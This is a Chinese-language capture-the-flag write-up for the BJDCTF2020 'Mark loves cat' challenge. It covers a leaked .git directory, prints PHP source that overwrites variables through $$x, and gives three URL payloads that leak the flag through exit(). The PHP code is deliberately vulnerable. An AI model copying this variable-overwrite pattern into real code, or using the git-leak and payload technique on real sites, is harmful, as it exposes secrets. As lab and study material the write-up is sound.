首页 > 其他分享 >[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

时间:2024-02-11 21:33:48浏览次数:25  
标签:GET cat flag 键值 loves exit POST BJDCTF2020 handsome

[BJDCTF2020]Mark loves cat

oDqiBlPEsdpPRp5gARvE0_49zGbbDxfo6qfDEZgojd4

打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露

TD-0tLm2sJVE3fl3KIGUKgfzRUXkf1d7Yp086AuBqH8

通过githack下载下来

PaqgFDbt0gOaFX8kpBpXw0OLyHZlCR1XNNwZTFLlK9U

flag.php里的内容是读取flag文件内容并赋值给$flag

<?php

$flag = file_get_contents('/flag');

index.php的内容多一些,贴出来做代码审计

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){   
    $$x = $y;  //POST型声明至当前文件
}

foreach($_GET as $x => $y){
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
        
        exit($handsome); //exit显然能利用
    }
}
 //如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

前面两个foreach进行循坏,遍历POST和GET,将数组中的值赋值给$y,也就是变量覆盖

第三个foreach里的if意思是存在(键值为flag的键值对)的值绝对等于这次比较的键值且这次键值不等于flag

下一个if判断不存在键值为flag的键值对(get型)且不存在键值为flag的键值对(post型)

最后一个if判断存在(flag,flag)(post型)或存在(flag,flag)(get型)

最后因为exit也是一种输出,我们可以执行到exit将flag值输出。

方法1:exit($handsome);

首先输出handsome,
就要将handsome的值转为$flag ,即handsome=flag

并且为了满足条件,需要有键值为flag的键值对,即flag=xxx,改变flag的值需要改回来,所以flag=a&a=flag

payload1:?handsome=flag&flag=a&a=flag

BvBB3A9qXnRc3N1zRvJKBFH5KwvE-sgL0b4iP915KE4

payload2:?handsome=flag&flag=handsome

5suYuDPn7O9wup-sDr29G-vomZB0ThMXAKbkqjjwD0U

方法2:exit($yds);

GET,POST 都不输入flag键就可以,只需要将exit中的
yds改为我们需要的flag即可

payload:?yds=flag

N0iwtQr4Fa1MV4yKExi-jgaS6XSTLU8ifc9dGWLhMl8

方法3:exit($is);

将exit中的is改为flag,同时满足if条件存在get型的(flag,flag)

payload:?is=flag&flag=flag

6ArVRu0TXL1hDULZvyMiC2CsHwu9AKZfE1GJJojo4BA

标签:GET,cat,flag,键值,loves,exit,POST,BJDCTF2020,handsome
From: https://www.cnblogs.com/fishjumpriver/p/18013544

相关文章

  • Educational Codeforces Round 135 (Rated for Div. 2)C. Digital Logarithm(思维)
    目录题目链接题意题解代码题目链接C.DigitalLogarithm题意给两个长度位\(n\)的数组\(a\)、\(b\),一个操作\(f\)定义操作\(f\)为,\(a[i]=f(a[i])=a[i]\)的位数求最少多少次操作可以使\(a、b\)两个数组变得完全相同题解性质:对于任何数,经过两次操作我们一定可以让其变为\(......
  • 【Java 并发】【队列应用】【二】Tomcat的NioEndPoint中ConcurrentLinkedQueue 的使用
    1 前言这一节我们讲解Tomcat的NioEndPoint中ConcurrentLinkedQueue的使用。2  Tomcat的容器结构本节讲解apache-tomcat-7.0.32-src源码中ConcurrentLinkedQueue的使用。首先介绍Tomcat的容器结构以及NioEndPoint的作用,以便后面能够更加平滑地切入话题,如图11-4所示......
  • dremio 的InformationSchemaCatalog 服务三
    以前简单写过一些关于dremio的InformationSchemaCatalog,也说过dremio为了方便提供标准的INFORMATION_SCHEMA自己开发了存储扩展,以下是关于存储扩展的创建以及刷新说明创建创建是在CatalogService中处理的,具体的实现是CatalogServiceImpl参考处理if(roles.conta......
  • python3.9+django4.1+vue3 ,后端项目运行时,报错了,WSGI application 'XXX.wsgi.applicat
    python3.9+django4.1+vue3,后端项目运行时,报错了; 报错信息,如下:django.core.exceptions.ImproperlyConfigured:WSGIapplication'StudentMgrBE.wsgi.application'couldnotbeloaded;Errorimportingmodule.     ------------------------------百度......
  • Educational Codeforces Round 145 (Rated for Div. 2)C. Sum on Subarrays(构造)
    很意思的一道构造题题意:给一个\(n、k\),让构造长度为n的数组满足,子数组为整数的个数为k个,负数的为\(k-(n+1)*n/2\),每个数的范围为\([-1000,1000]\)这种构造题可以考虑就是前一段可以一直用一样的、最小的。我们观察可以发现\(k+k-(n+1)*n/2=(n+1)*n/2\)也就是所有子数组......
  • python django4.1 pycharm,报错,Conflicting 'xxx' models in application 'xxx': <
    遇到了一个报错,不知道咋么解决,pythondjango3pycharm,报错。不晓得怎么解决;Conflicting'xxx'modelsinapplication'xxx':<class'xxx'>and<class'xxx'>.这个是 报错误 信息,如下:RuntimeError:Conflicting'faculty'modelsin......
  • javascript 下载 application/octet-stream 文件
    functiondownloadFile(id){varxhr=newXMLHttpRequest();xhr.open('POST','https://localhost/api/app/isp-detection/'+id+'/download');xhr.responseType='blob';xhr.setRequestHeader('Cont......
  • Jenkins在jdk17的Tomcat上运行报错
    Jenkins在jdk17的Tomcat上运行报错一、环境宝塔:tomcat8.0jdk:jdk17二、保存项目时报错​Unabletomakefieldprotectedtransientintjava.util.AbstractList.modCountaccessible:modulejava.basedoesnot"opensjava.util"tounnamedmodule@6d15ca84​查看local......
  • Jenkins在jdk17的Tomcat上运行报错
    Jenkins在jdk17的Tomcat上运行报错一、环境宝塔:tomcat8.0jdk:jdk17二、保存项目时报错​Unabletomakefieldprotectedtransientintjava.util.AbstractList.modCountaccessible:modulejava.basedoesnot"opensjava.util"tounnamedmodule@6d15ca84​查看local......
  • Jenkins在jdk17的Tomcat上运行报错
    Jenkins在jdk17的Tomcat上运行报错一、环境宝塔:tomcat8.0jdk:jdk17二、保存项目时报错​Unabletomakefieldprotectedtransientintjava.util.AbstractList.modCountaccessible:modulejava.basedoesnot"opensjava.util"tounnamedmodule@6d15ca84​查看local......